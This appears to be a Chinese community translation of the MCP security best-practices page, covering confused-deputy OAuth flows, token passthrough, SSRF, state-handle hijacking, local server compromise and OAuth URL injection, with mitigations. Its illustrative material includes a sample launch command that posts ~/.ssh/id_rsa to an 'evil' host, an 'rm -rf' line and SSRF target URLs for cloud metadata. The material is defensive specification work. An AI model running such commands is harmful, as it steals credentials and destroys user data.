Skip to content
MCP 文档版本 2026-07-28 更新于 2026-10-14

安全最佳实践

MCP 实现的安全考量、攻击向量与最佳实践

引言

目的与范围

本文档提供 Model Context Protocol (MCP) 的安全考量,作为 MCP 授权 规范的补充。本文档识别了 MCP 实现特有的安全风险、攻击向量 与最佳实践。

本文档的主要受众包括实现 MCP 授权流程的开发者、MCP 服务端 运维人员,以及评估基于 MCP 的系统的安全专业人员。本文档应 与 MCP 授权规范及 OAuth 2.0 安全最佳实践 一并阅读。

攻击与缓解措施

本节详细描述针对 MCP 实现的攻击,以及潜在的对策。

混淆代理问题

攻击者可以利用连接第三方 API 的 MCP 代理服务器,制造 "confused deputy" (混淆代理)漏洞。此攻击通过利用静态客户端 ID、动态客户端注册 与同意 cookie 的组合,使恶意客户端能够在未经用户适当同意的情况下 获取授权码。

术语

MCP 代理服务器 : 一种将 MCP 客户端连接到第三方 API 的 MCP 服务端,在提供 MCP 功能的同时将操作委托出去,并作为单一 OAuth 客户端与 第三方 API 服务器交互。

第三方授权服务器 : 保护第三方 API 的授权服务器。它可能缺少动态客户端注册支持, 要求 MCP 代理对所有请求使用静态客户端 ID。

第三方 API : 提供实际 API 功能的受保护资源服务器。访问此 API 需要由 第三方授权服务器签发的令牌。

静态客户端 ID : MCP 代理服务器在与第三方授权服务器通信时使用的固定 OAuth 2.0 客户端标识符。此客户端 ID 指代作为第三方 API 客户端的 MCP 服务端。对于所有 MCP 服务端与第三方 API 的交互,无论哪个 MCP 客户端发起请求,该值都相同。

易受攻击的条件

当以下所有条件同时存在时,此攻击即成为可能:

  • MCP 代理服务器对第三方授权服务器使用静态客户端 ID
  • MCP 代理服务器允许 MCP 客户端动态注册(每个客户端获得 自己的 client_id)
  • 第三方授权服务器在首次授权后设置同意 cookie
  • MCP 代理服务器在转发至第三方授权之前未实现适当的按客户端同意

架构与攻击流程

正常的 OAuth 代理使用(保留用户同意)
sequenceDiagram
    participant UA as User-Agent (Browser)
    participant MC as MCP Client
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server

    Note over UA,M: Initial Auth flow completed

    Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server

    M->>UA: Redirect to third party authorization server
    UA->>TAS: Authorization request (client_id: mcp-proxy)
    TAS->>UA: Authorization consent screen
    Note over UA: Review consent screen
    UA->>TAS: Approve
    TAS->>UA: Set consent cookie for client ID: mcp-proxy
    TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
    UA->>M: 3P Authorization code
    Note over M,TAS: Exchange 3P code for 3P token
    Note over M: Generate MCP authorization code
    M->>UA: Redirect to MCP Client with MCP authorization code

    Note over M,UA: Exchange code for token, etc.
恶意的 OAuth 代理使用(跳过用户同意)
sequenceDiagram
    participant UA as User-Agent (Browser)
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server
    participant A as Attacker


    Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
    A->>M: Dynamically register malicious client, redirect_uri: attacker.com
    A->>UA: Sends malicious link
    UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
    rect rgba(255, 17, 0, 0.67)
    TAS->>TAS: Cookie present, consent skipped
    end

   TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
   UA->>M: 3P Authorization code
   Note over M,TAS: Exchange 3P code for 3P token
   Note over M: Generate MCP authorization code
   M->>UA: Redirect to attacker.com with MCP Authorization code
   UA->>A: MCP Authorization code delivered to attacker.com
   Note over M,A: Attacker exchanges MCP code for MCP token
   A->>M: Attacker impersonates user to MCP server

攻击描述

当 MCP 代理服务器使用静态客户端 ID 向第三方授权服务器进行 身份验证时,以下攻击即成为可能:

  1. 用户正常通过 MCP 代理服务器进行身份验证以访问第三方 API
  2. 在此流程中,第三方授权服务器在用户代理上设置 cookie, 表明对该静态客户端 ID 的同意
  3. 攻击者随后向用户发送恶意链接,其中包含精心构造的授权请求, 该请求带有恶意重定向 URI 以及一个新动态注册的客户端 ID
  4. 当用户点击该链接时,其浏览器仍保留着先前合法请求的同意 cookie
  5. 第三方授权服务器检测到该 cookie 并跳过同意屏幕
  6. MCP 授权码被重定向到攻击者的服务器(在 动态客户端注册 期间通过恶意 redirect_uri 参数指定)
  7. 攻击者用窃取的授权码换取 MCP 服务端的访问令牌,而无需 用户的明确批准
  8. 攻击者现在可以以受侵害用户的身份访问第三方 API

缓解措施

为防止混淆代理攻击,MCP 代理服务端 MUST(必须)实现按客户端征得同意以及下文详述的适当安全控制。

同意流程实现

下图展示了如何在第三方授权流程之前正确实现按客户端征得同意:

sequenceDiagram
    participant Client as MCP Client
    participant Browser as User's Browser
    participant MCP as MCP Server
    participant ThirdParty as Third-Party AuthZ Server

    Note over Client,ThirdParty: 1. Client Registration (Dynamic)
    Client->>MCP: Register with redirect_uri
    MCP-->>Client: client_id

    Note over Client,ThirdParty: 2. Authorization Request
    Client->>Browser: Open MCP server authorization URL
    Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...

    alt Check MCP Server Consent
        MCP->>MCP: Check consent for this client_id
        Note over MCP: Not previously approved
    end

    MCP->>Browser: Show MCP server-owned consent page
    Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
    Browser->>MCP: POST /consent (approve)
    MCP->>MCP: Store consent decision for client_id

    Note over Client,ThirdParty: 3. Forward to Third-Party
    MCP->>Browser: Redirect to third-party /authorize
    Note over MCP: Use static client_id for third-party

    Browser->>ThirdParty: Authorization request (static client_id)
    ThirdParty->>Browser: User authenticates & consents
    ThirdParty->>Browser: Redirect with auth code

    Browser->>MCP: Callback with third-party code
    MCP->>ThirdParty: Exchange code for token (using static client_id)
    MCP->>Browser: Redirect to client's registered redirect_uri
必需的保护措施

按客户端同意存储

MCP 代理服务端 MUST(必须):

  • 按用户维护已批准的 client_id 值的注册表
  • 在发起第三方授权流程之前检查此注册表
  • 安全地存储同意决定(服务端数据库,或服务端特定的 cookie)

同意 UI 要求

MCP 层面的同意页面 MUST(必须):

  • 按名称清晰地标识发起请求的 MCP 客户端
  • 显示所请求的具体第三方 API 作用域
  • 显示令牌将被发送到的已注册 redirect_uri
  • 实现 CSRF 防护(例如 state 参数、CSRF 令牌)
  • 通过 frame-ancestors CSP 指令或 X-Frame-Options: DENY 防止 iframe 嵌套,以防止点击劫持

同意 Cookie 安全

如果使用 cookie 来跟踪同意决定,它们 MUST(必须):

  • 对 cookie 名称使用 __Host- 前缀
  • 设置 Secure、HttpOnly 和 SameSite=Lax 属性
  • 进行加密签名或使用服务端会话
  • 绑定到特定的 client_id(而不仅仅是"用户已同意")

重定向 URI 验证

MCP 代理服务端 MUST(必须):

  • 验证授权请求中的 redirect_uri 与已注册的 URI 完全匹配
  • 如果 redirect_uri 在未重新注册的情况下发生更改,则拒绝请求
  • 使用精确字符串匹配(而非模式匹配或通配符)

OAuth State 参数验证

OAuth state 参数对于防止授权码拦截和 CSRF 攻击至关重要。正确的 state 验证可确保在授权端点处的同意批准在回调端点处得到强制执行。

实现 OAuth 流程的 MCP 代理服务端 MUST(必须):

  • 为每个授权请求生成加密安全的随机 state 值
  • 仅在同意已被明确批准之后,在服务端存储 state 值(在安全会话存储或加密 cookie 中)
  • 紧接在重定向到第三方身份提供者之前设置跟踪 state 的 cookie/会话(而非在同意批准之前)
  • 在回调端点处验证 state 查询参数与回调请求的 cookie 中或请求的基于 cookie 的会话中存储的值完全匹配
  • 拒绝任何 state 参数缺失或不匹配的回调请求
  • 确保 state 值是一次性的(验证后删除)并具有较短的有效期(例如 10 分钟)

包含 state 值的同意 cookie 或会话 MUST NOT(不得)在用户于 MCP 服务端的授权端点处批准同意屏幕之前被设置。在同意批准之前设置此 cookie 会使同意屏幕失效,因为攻击者可以通过构造恶意的授权请求来绕过它。

Token 透传

"Token 透传"是一种反模式,即 MCP 服务端接受来自 MCP 客户端的令牌,而不验证这些令牌是否被正确签发给 MCP 服务端,并将其透传到下游 API。

如果服务端接受为其他资源签发的令牌,攻击者可以获得未授权访问或以其他方式入侵 MCP 服务端。此漏洞有两个关键维度:

  1. 受众验证失败。 当 MCP 服务端不验证令牌是否专门为其签发时(例如,通过受众声明,如 RFC9068 中所述),它可能会接受原本为其他服务签发的令牌。这破坏了基本的 OAuth 安全边界,允许攻击者在不同服务之间重用合法令牌,而非按预期使用。
  2. Token 透传。 如果 MCP 服务端不仅接受具有不正确受众的令牌,还将这些未经修改的令牌转发给下游服务,则可能导致"混淆代理"问题,即下游 API 可能错误地信任该令牌,仿佛它来自 MCP 服务端,或假设该令牌已由上游 API 验证。

风险

Token 透传在授权规范中被明确禁止,因为它引入了若干安全风险,包括:

  • 安全控制绕过
    • MCP 服务端或下游 API 可能实现了重要的安全控制,例如速率限制、请求验证或流量监控,这些控制依赖于 token 受众或其他凭据约束。如果客户端能够直接获取 token 并将其用于下游 API,而 MCP 服务端未对其进行正确验证,或未确保 token 是为正确的服务签发的,那么这些控制就会被绕过。
  • 问责与审计追踪问题
    • 当客户端使用上游签发的访问 token 进行调用时,MCP 服务端将无法识别或区分不同的 MCP 客户端,因为该 token 对 MCP 服务端可能是不透明的。
    • 下游资源服务器的日志可能显示请求来自具有不同身份的其他来源,而非实际转发 token 的 MCP 服务端。
    • 这两个因素都会使事件调查、控制和审计变得更加困难。
    • 如果 MCP 服务端在未验证 token 声明(例如角色、权限或受众)或其他元数据的情况下透传 token,那么持有被盗 token 的恶意行为者就可以利用该服务端作为数据外泄的代理。
  • 信任边界问题
    • 下游资源服务器将信任授予特定实体。这种信任可能包含对来源或客户端行为模式的假设。破坏这一信任边界可能导致意外问题。
    • 如果 token 在未经适当验证的情况下被多个服务接受,攻击者攻破其中一个服务后,便可以利用该 token 访问其他已连接的服务。
  • 未来兼容性风险
    • 即使 MCP 服务端目前以“纯代理”的形式起步,日后也可能需要添加安全控制。从正确的 token 受众隔离开始,可以使安全模型的演进更加容易。

缓解措施

MCP 服务端 MUST NOT(不得)接受任何未明确为 MCP 服务端签发的 token。

服务端请求伪造(SSRF)

服务端请求伪造(SSRF)是一种攻击方式,攻击者可以诱导 MCP 客户端向非预期目的地发起 HTTP 请求,从而可能访问内部网络资源、云元数据端点或其他受保护的服务。

攻击描述

在 OAuth 元数据发现过程中,MCP 客户端会从多个可能被恶意 MCP 服务端控制的来源获取 URL:

  1. 来自 WWW-Authenticate 头的 resource_metadata URL
  2. 来自受保护资源元数据文档的 authorization_servers URL
  3. 来自授权服务器元数据的 token_endpoint、authorization_endpoint 及其他 URL

恶意 MCP 服务端可以将这些字段填充为指向内部资源的 URL,从而实现以下攻击模式:

  • 直接访问内部 IP:诸如 http://192.168.1.1/admin 或 http://10.0.0.1/api 的 URL 以内部网络服务为目标
  • 云元数据端点:以 http://169.254.169.254/(AWS/GCP/Azure 元数据服务)为目标的 URL 可以窃取云凭据和实例信息
  • Localhost 服务:诸如 http://localhost:6379/ 的 URL 可以与本地服务(Redis、数据库、管理面板)进行交互
  • DNS 重绑定:在验证与使用之间改变 DNS 解析的域名(例如 https://attacker.com 最初解析为安全 IP,随后解析为 192.168.1.1)
  • 重定向链:看似正常的 URL 重定向到内部资源
sequenceDiagram
    participant Client as MCP Client
    participant MCP as Malicious MCP Server
    participant Internal as Internal Service

    Client->>MCP: Connect to MCP server
    MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."

    Note over Client: Client follows URL without validation
    Client->>Internal: GET http://169.254.169.254/latest/meta-data/
    Internal-->>Client: Cloud credentials/metadata

    Note over Client: Error or response details leak to attacker
    Client->>MCP: Subsequent request with error details

风险

  • 凭据窃取:云元数据端点通常会暴露 IAM 凭据、API 密钥及其他机密
  • 内部网络侦察:错误消息会泄露有关内部网络拓扑和服务的信息
  • 服务交互:POST 请求(例如发往 token 端点的请求)可以触发内部服务的变更
  • 防火墙绕过:MCP 客户端充当代理,绕过网络边界控制
  • 数据外泄:内部服务的响应可能通过错误消息或 OAuth 流程回传给攻击者

缓解措施

部署到服务器上的 MCP 客户端 MUST(必须)在获取 OAuth 相关 URL 时考虑 SSRF 风险并实施适当的缓解措施。哪些保护措施是适当的取决于你的网络环境。

强制使用 HTTPS

MCP 客户端 SHOULD(应)在生产环境中要求所有 OAuth 相关 URL 使用 HTTPS:

  • 拒绝 http:// URL,但开发期间的环回地址(localhost、127.0.0.1、::1)除外
  • 这符合 OAuth 2.1 第 1.5 节 的要求,即除环回重定向 URI 外,所有 OAuth 协议 URL 都必须使用 HTTPS
  • 为开发/测试场景提供显式的退出机制

阻止私有 IP 范围

MCP 客户端 SHOULD(应)按照 RFC 9728 第 7.7 节 的建议,阻止对私有和保留 IP 地址范围的请求:

  • 私有 IPv4 范围:10.0.0.0/8、172.16.0.0/12、 192.168.0.0/16
  • 环回:127.0.0.0/8、::1(除非为开发明确允许)
  • 链路本地:169.254.0.0/16(包括云元数据端点)
  • 私有 IPv6 范围:fc00::/7、fe80::/10

NOTE

避免手动实现 IP 校验。攻击者会利用自定义解析器常常遗漏的编码技巧 (八进制、十六进制、IPv4 映射的 IPv6)。

校验重定向目标

MCP 客户端 SHOULD(应该)对重定向目标应用相同的 URL 校验:

  • 不要盲目跟随指向内部资源的重定向
  • 对重定向目的地应用 HTTPS 和 IP 范围限制
  • 考虑禁用自动跟随重定向,并校验每一跳

使用出口代理

对于服务端侧的 MCP 客户端部署,运维人员 SHOULD(应该)考虑 使用强制执行网络策略的出口代理:

  • 将 OAuth 发现请求路由到会阻断内部目的地的代理
  • 使用 Smokescreen 之类的工具或 类似的出口代理,从设计上防止 SSRF
  • 配置网络策略以限制 MCP 客户端的出站访问

DNS 解析注意事项

注意基于 DNS 的校验中存在的检查时到使用时(TOCTOU)问题:

  • 攻击者的域名在校验期间可能解析到安全 IP,但在实际请求期间 解析到内部 IP
  • 考虑在检查与使用之间固定 DNS 解析结果
  • 纵深防御:将 DNS 检查与其他缓解措施结合使用

针对授权服务器的 SSRF

SSRF 风险并不限于 MCP 客户端。当授权服务器支持 客户端 ID 元数据文档时, 授权服务器会接收来自未知客户端的 URL 作为输入并抓取该 URL。 恶意客户端可能利用这一点,诱使授权服务器向任意 URL 发起请求, 例如请求授权服务器有权访问的私有管理端点。

上述缓解措施,例如阻断私有 IP 范围和使出口代理,同样适用于 抓取客户端元数据文档的授权服务器。更多指引请参见客户端 ID 元数据文档规范中的 服务端请求伪造(SSRF)攻击。

资源与工具

以下资源可以帮助开发者在 MCP 客户端中实现 SSRF 防护。

参考文档

状态句柄劫持

MCP 是无状态的, 没有协议层会话。需要跨多个请求保持状态的服务端会签发一个显式 句柄,例如购物车 ID 或工作流 ID,并在每个请求中将其作为普通工具 参数接收回来。状态句柄劫持是一种攻击途径:未授权方获取或猜中 此类句柄,并利用它访问或修改另一用户的状态。

攻击描述

  1. MCP 服务端为已认证用户签发一个状态句柄,并在工具结果中返回它。
  2. 攻击者获取或猜中该句柄。
  3. 攻击者以该句柄作为参数调用 MCP 服务端的工具。
  4. MCP 服务端不检查该句柄是否属于调用方,而是对原用户的状态执行 操作,从而导致未授权访问或操作。

缓解措施

实现授权的 MCP 服务端 MUST(必须)校验所有入站请求。MCP 服务端 MUST NOT(不得)将持有状态句柄视为认证。

MCP 服务端 SHOULD(应该)使用由安全随机数生成器生成的安全、 非确定性句柄。避免使用攻击者可能猜中的可预测或顺序标识符。 为句柄设置过期时间也可以降低风险。

MCP 服务端 SHOULD(应该)在服务端将句柄绑定到已认证用户, 例如将存储的状态键设为 <user_id>:<handle>,其中用户 ID 来自 已验证的令牌而非由客户端提供,并拒绝任何其他主体出示的句柄。 这样即使攻击者猜中句柄,也无法冒充其他用户。

关于保护协议版本 2025-11-25 及更早版本所使用的服务端分配会话 ID 的指引,请参见 本页 2025-11-25 版本中的会话劫持。

本地 MCP 服务端被攻陷

本地 MCP 服务端是运行在用户本地机器上的 MCP 服务端,其来源可能是 用户下载并执行某个服务端、用户自行编写服务端,或通过客户端配置流程 安装。这些服务端可能可以直接访问用户系统,并且可能被用户机器上运行 的其他进程访问,因此成为极具吸引力的攻击目标。

攻击描述

本地 MCP 服务端是与 MCP 客户端在同一台机器上下载并执行的二进制文件。 如果没有适当的沙箱和同意要求,以下攻击就成为可能:

  1. 攻击者在客户端配置中植入恶意的“启动”命令
  2. 攻击者在服务端本身内部分发恶意载荷
  3. 攻击者通过 DNS 重绑定访问遗留在 localhost 上运行的不安全本地服务端

可能被嵌入的恶意启动命令示例:

bash
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

风险

限制不足或来自不可信来源的本地 MCP 服务端会引入若干关键安全风险:

  • 任意代码执行。攻击者可以以 MCP 客户端权限执行任意命令。
  • 无可见性。用户无法洞察正在执行哪些命令。
  • 命令混淆。恶意行为者可以使用复杂或晦涩的命令来伪装成合法命令。
  • 数据外泄。攻击者可以通过被攻陷的 JavaScript 访问合法的本地 MCP 服务端。
  • 数据丢失。攻击者或合法服务端中的缺陷可能导致宿主机上不可恢复的数据丢失。

缓解措施

如果 MCP 客户端支持一键配置本地 MCP 服务端,它 MUST(必须)在执行命令之前实现适当的同意机制。

配置前同意

通过一键配置连接新的本地 MCP 服务端之前,显示清晰的同意对话框。MCP 客户端 MUST(必须):

  • 显示将要执行的确切命令,不得截断(包括参数和形参)
  • 明确标识其为在用户系统上执行代码的潜在危险操作
  • 在继续之前要求用户明确批准
  • 允许用户取消配置

MCP 客户端 SHOULD(应该)实现额外的检查与防护栏,以缓解潜在的代码执行攻击向量:

  • 高亮显示潜在危险的命令模式(例如,包含 sudo、rm -rf、网络操作、预期目录之外的文件系统访问的命令)
  • 对访问敏感位置(主目录、SSH 密钥、系统目录)的命令显示警告
  • 警告 MCP 服务端以与客户端相同的权限运行
  • 在具有最小默认权限的沙箱环境中执行 MCP 服务端命令
  • 以受限的文件系统、网络和其他系统资源访问权限启动 MCP 服务端
  • 提供机制,让用户在需要时明确授予额外权限(例如,特定目录访问、网络访问)
  • 使用适合平台的沙箱技术(容器、chroot、应用沙箱等)
  • 保持沙箱解决方案为最新版本,以应对新出现的漏洞

希望其服务端在本地运行的 MCP 服务端 SHOULD(应该)实现措施以防止来自恶意进程的未授权使用:

  • 使用 stdio 传输将访问限制为仅 MCP 客户端
  • 如果使用 HTTP 传输,则限制访问,例如:
    • 要求授权令牌
    • 使用 unix domain socket 或其他具有受限访问权限的进程间通信(IPC)机制

OAuth 授权 URL 验证

由恶意 MCP 服务端提供的 OAuth 授权 URL 可能利用客户端侧的 URL 处理漏洞,导致跨站脚本(XSS)攻击和远程代码执行(RCE)。

攻击描述

在 OAuth 授权流程中,MCP 服务端提供授权 URL,客户端会在浏览器中打开或以编程方式处理这些 URL。恶意服务端可以通过以下攻击向量利用 MCP 客户端中不充分的 URL 验证:

JavaScript URL 注入(XSS)

  1. 恶意 MCP 服务端提供一个 javascript: URL 作为授权端点
  2. MCP 客户端将此 URL 直接传递给 window.open() 或类似的浏览器 API
  3. 浏览器执行嵌入在 URL 中的 JavaScript 代码
  4. 攻击者在客户端应用程序内获得 JavaScript 执行上下文,可能导致会话劫持、凭据窃取或进一步利用

通过 Shell 执行的命令注入

  1. 恶意 MCP 服务端提供一个包含 shell 命令注入载荷的 URL
  2. MCP 客户端使用 shell 命令(例如 cmd.exe、PowerShell 或 shell 脚本)打开该 URL
  3. shell 将 URL 的某些部分解释为要执行的额外命令
  4. 攻击者在用户系统上实现任意代码执行

stdio 传输权限提升

当 XSS 漏洞与 stdio 传输能力结合时,攻击者可以将基于 Web 的攻击升级为完整的系统沦陷。有关详细的攻击向量和缓解措施,请参见 代理场景中的 stdio 传输安全。

sequenceDiagram
    participant MaliciousMCP as Malicious MCP Server
    participant Client as MCP Client
    participant Proxy as MCP Proxy
    participant System as Host System

    MaliciousMCP->>Client: Malicious authorization URL (javascript:)
    Client->>Client: Execute JavaScript (XSS)
    Client->>Client: Extract proxy auth token
    Client->>Proxy: Malicious stdio command request
    Note over Client,Proxy: Using stolen authentication token
    Proxy->>System: Execute arbitrary command
    System-->>Proxy: Command output
    Proxy-->>Client: Command result
    Client-->>MaliciousMCP: Exfiltrate data/establish persistence

风险

OAuth 授权 URL 漏洞会引入若干关键安全风险:

  • 跨站脚本(XSS)。恶意 JavaScript 执行可能导致会话劫持、凭据窃取以及客户端应用程序内的未授权操作。
  • 远程代码执行(RCE)。通过 shell 执行的命令注入允许攻击者以用户权限运行任意代码。
  • 权限提升。XSS 与 stdio 传输结合可以将基于 Web 的攻击升级为完整的系统沦陷。
  • 数据外泄。攻击者可以访问存储在用户系统上的敏感数据、配置文件和凭据。
  • 持久化。攻击者可以安装恶意软件、创建后门或修改系统配置以获得持久访问权限。

缓解措施

URL Scheme 验证

MCP 客户端 MUST(必须)验证授权 URL 并拒绝危险的 scheme:

  • MUST(必须)仅允许 http:// 和 https:// 方案用于授权 URL。 http:// 方案仅在本地开发期间对回环地址(如 localhost、127.0.0.1 或 ::1)可接受;生产环境中的授权 服务器 MUST(必须)使用 https://。
  • MUST(必须)拒绝 javascript:、data:、file:、vbscript: 及其他潜在危险的方案
  • SHOULD(应)使用基于允许列表的验证,而非基于阻止列表的方法

安全打开 URL

MCP 客户端在打开 URL 时 MUST(必须)避免执行 shell:

  • MUST NOT(不得)使用 shell 命令(例如 cmd.exe、sh、PowerShell)打开 URL
  • SHOULD(应)使用平台特定的、非 shell 的 URL 打开机制

内容安全策略(CSP)

基于 Web 的 MCP 客户端 SHOULD(应)实现内容安全策略头以防止 JavaScript 执行:

  • 设置 script-src 'self' 以防止执行内联 JavaScript
  • 使用 default-src 'self' 限制资源加载
  • 对于需要内联脚本的动态内容,考虑使用 script-src 'nonce-<random>'

输入净化

MCP 客户端 MUST(必须)净化并验证从 MCP 服务端接收的所有 URL:

  • 实现严格的 URL 解析与验证
  • 拒绝包含可能被 shell 解释的特殊字符的 URL
  • 考虑使用专用的 URL 净化库
  • 记录可疑的授权 URL 以进行安全监控

代理场景中的 stdio 传输安全

stdio 传输本身并不具有固有漏洞。然而,在由独立代理服务管理 stdio 连接并可派生 MCP 服务端作为子进程的代理架构中,它可能提供一条从基于 Web 的攻击升级到完全系统沦陷的关键路径。

攻击描述

重要:此攻击向量仅适用于使用代理架构的 MCP 实现,不适用于直接使用 stdio 传输的情况。

在基于代理的 MCP 实现中,本地代理服务位于客户端与 MCP 服务端之间,通过 stdio 传输将服务端派生为子进程。此架构与客户端侧漏洞结合时,会形成一条权限升级路径:

  1. 攻击者实现 XSS 或其他客户端侧代码执行(例如通过 OAuth URL 漏洞)
  2. 利用上述攻击向量,恶意行为者从客户端环境中访问客户端与代理之间建立的 MCP 代理认证令牌
  3. 恶意行为者向本地 MCP 代理服务发起已认证请求
  4. 代理通过 stdio 传输派生任意命令(误以为它们是合法的 MCP 服务端命令)
  5. 攻击者以用户权限实现远程代码执行

风险

  • 权限升级。基于 Web 的漏洞(XSS)可通过代理命令执行升级为主机系统上的任意代码执行
  • 认证绕过。被盗的代理认证令牌允许未经授权访问 stdio 进程派生能力
  • 系统沦陷。攻击者可执行 MCP 代理进程有权运行的任何命令

缓解措施

主要防御是防止启用此攻击向量的各类漏洞:

  • 实现 OAuth 授权 URL 验证 中描述的缓解措施
  • 使用内容安全策略(CSP)防止来自不受信任来源的 JavaScript 执行
  • 在处理之前验证并净化来自 MCP 服务端的所有输入

由于 XSS 从根本上破坏了客户端的安全上下文,应重点限制损害:

stdio 传输限制

MCP 代理服务 SHOULD(应)为 stdio 传输实现额外的安全控制:

  • 为派生的进程实现沙箱化或容器化
  • 限制派生的 MCP 服务端的文件系统访问
  • 记录所有 stdio 传输使用情况以进行安全监控
  • 对潜在危险的命令要求额外授权

客户端侧防护

MCP 客户端 SHOULD(应)实现纵深防御措施:

  • 在可能的情况下将代理通信隔离在单独的安全上下文中
  • 对代理进程权限使用最小权限原则
  • 为代理服务本身实现进程级沙箱化
  • 考虑在容器或受限环境中运行代理

混搭攻击

攻击描述

MCP 客户端在其生命周期中通常会与许多授权服务器交互。控制其中一台授权服务器的攻击者可能试图让客户端向其发送由另一台诚实的授权服务器签发的授权码或令牌(混搭攻击,描述见 RFC9207 Section 1)。

缓解措施

授权响应验证 通过将响应绑定到客户端在重定向之前记录的授权服务器来缓解此问题,因此授权码无法在非预期的令牌端点被兑换。仅靠 PKCE 无法防止此攻击,因为客户端会将 code_verifier 传输到攻击者的令牌端点。当攻击者的授权服务器在请求到达诚实的授权服务器之前进行拦截时,资源指示符也无济于事。此缓解措施依赖于诚实的授权服务器发出 iss;对于不发出 iss 的诚实服务器,它不提供任何保护。

Localhost 重定向 URI 冒充

原生及本地运行的 MCP 客户端通常使用 localhost 重定向 URI。当客户端通过 客户端 ID 元数据文档 标识自身时,元数据文档可证明对某个域名的控制权,但无法证明是哪个本地进程正在监听 localhost 重定向 URI。

攻击描述

攻击者可以通过以下方式声称自己是任意客户端:

  1. 将合法客户端的元数据 URL 作为其 client_id 提供
  2. 绑定到任意 localhost 端口,并将该地址作为 redirect_uri 提供
  3. 当用户批准时,通过重定向接收授权码

服务端将看到合法客户端的元数据文档,用户将看到合法客户端的名称,这使得攻击检测变得困难。

缓解措施

请参阅授权规范中的 Localhost Redirect URI Risks, 了解对授权服务器的预期对策,包括对仅使用 localhost 的重定向 URI 显示额外警告,以及在授权过程中清晰地显示重定向 URI 的主机名。

CIMD 信任策略

接受 Client ID Metadata Documents 的授权服务器可以应用基于域的信任策略来决定接受哪些基于 URL 的客户端 ID:

  • 受信任域的允许列表(适用于受保护的服务端)
  • 接受任意 HTTPS client_id(适用于开放的服务端)
  • 对未知域进行信誉检查
  • 基于域年龄或证书验证的限制
  • 显著展示 CIMD 及其他关联的客户端主机名,以防止钓鱼攻击

服务端对其访问策略保持完全控制。更多详情请参阅授权规范中的 Trust Policies, 以及 Client ID Metadata Document 规范的 Section 6.4 和 Section 6.8。

范围最小化

糟糕的范围设计会增加 Token 泄露的影响、加剧用户摩擦,并模糊审计轨迹。

攻击描述

攻击者(通过日志泄露、内存抓取或本地拦截)获取了一个携带宽泛范围(files:*、db:*、admin:*)的访问令牌,这些范围是因为 MCP 服务端在 scopes_supported 中暴露了所有范围且客户端请求了全部范围而被预先授予的。该令牌使得横向数据访问、权限链式提升以及在不重新征得整个面同意的情况下难以撤销成为可能。

风险

  • 影响范围扩大:被盗的宽泛令牌可实现对不相关工具/资源的访问
  • 撤销摩擦更高:撤销最大权限令牌会中断所有工作流
  • 审计噪音:单一综合范围掩盖了每次操作的用户意图
  • 权限链式提升:攻击者可以立即调用高风险工具而无需进一步的提权提示
  • 同意放弃:用户拒绝列出过多范围的对话框
  • 范围膨胀盲区:缺乏指标使得过宽请求被正常化

缓解措施

实施渐进式的最小权限范围模型:

  • 最小初始范围集(例如 mcp:tools-basic),仅包含低风险的发现/读取操作
  • 在首次尝试特权操作时,通过有针对性的 WWW-Authenticate scope="..." 质询进行增量提权
  • 降范围容忍:服务端应接受缩减范围的令牌;授权服务器 MAY(可以)签发所请求范围的子集

服务端指南:

  • 发出精确的范围质询;避免返回完整目录
  • 使用关联 ID 记录提权事件(请求的范围、授予的子集)

服务端在确定包含哪些范围时具有灵活性:

  • 最小方式:仅包含触发错误的特定操作所需的范围。
  • 推荐方式:包含当前操作所需的范围以及通常一起工作的相关范围,以减少逐步授权轮次。
  • 扩展方式:包含当前操作所需的范围、相关范围,以及服务端预计客户端在不久的将来可能需要的任何其他范围。

选择取决于服务端对用户体验影响和授权摩擦的评估。

客户端指南:

  • 仅从基线范围(或初始 WWW-Authenticate 指定的范围)开始
  • 缓存最近的失败,以避免对被拒绝的范围重复进行提权循环

当初始 WWW-Authenticate 质询不携带 scope 参数时, Scope Selection Strategy 指示客户端回退到请求 scopes_supported 中列出的所有范围。这种方式适应了 MCP 客户端的通用性质,它们通常缺乏领域特定知识来对单个范围选择做出明智决策。请求所有可用范围允许授权服务器和最终用户在同意过程中确定适当的权限,在遵循最小权限原则的同时最大限度地减少用户摩擦。

NOTE

跨操作的范围累积是客户端的责任。客户端在发起重新授权时 SHOULD(应该)计算先前请求的范围与新质询范围的并集,如 Step-Up Authorization Flow 中所述。这允许服务端在客户端范围集方面保持无状态,同时确保客户端不会丢失先前授予的权限。

NOTE

层级范围:某些授权服务器定义了范围层级,其中较宽泛的范围隐含较窄的范围(例如,一个 admin 范围包含 read)。在累积范围时,客户端的并集可能包含语义上冗余的条目。例如,先前被授予宽泛范围的令牌可能会被质询一个它已经隐含的较窄范围。客户端无需按层级去重;授权服务器通常在令牌签发期间对此类冗余进行规范化。服务端方面则必须在决定令牌是否足以执行某项操作时考虑层级关系,但这不影响它们在质询中发出的范围。

常见错误

  • 在 scopes_supported 中发布所有可能的 scope
  • 使用通配符或全能 scope(*、all、full-access)
  • 捆绑不相关的权限以预先获取未来的授权提示
  • 在每次质询中返回完整的 scope 目录
  • 在没有版本控制的情况下静默更改 scope 语义
  • 仅凭令牌中声明的 scope 就认为足够,而缺少服务端授权逻辑

恰当的最小化可限制失陷影响、提升审计清晰度,并减少同意流程的反复。

BytesRouter 是社区翻译站点,所有译文仅供参考,一切以官方英文原文为准。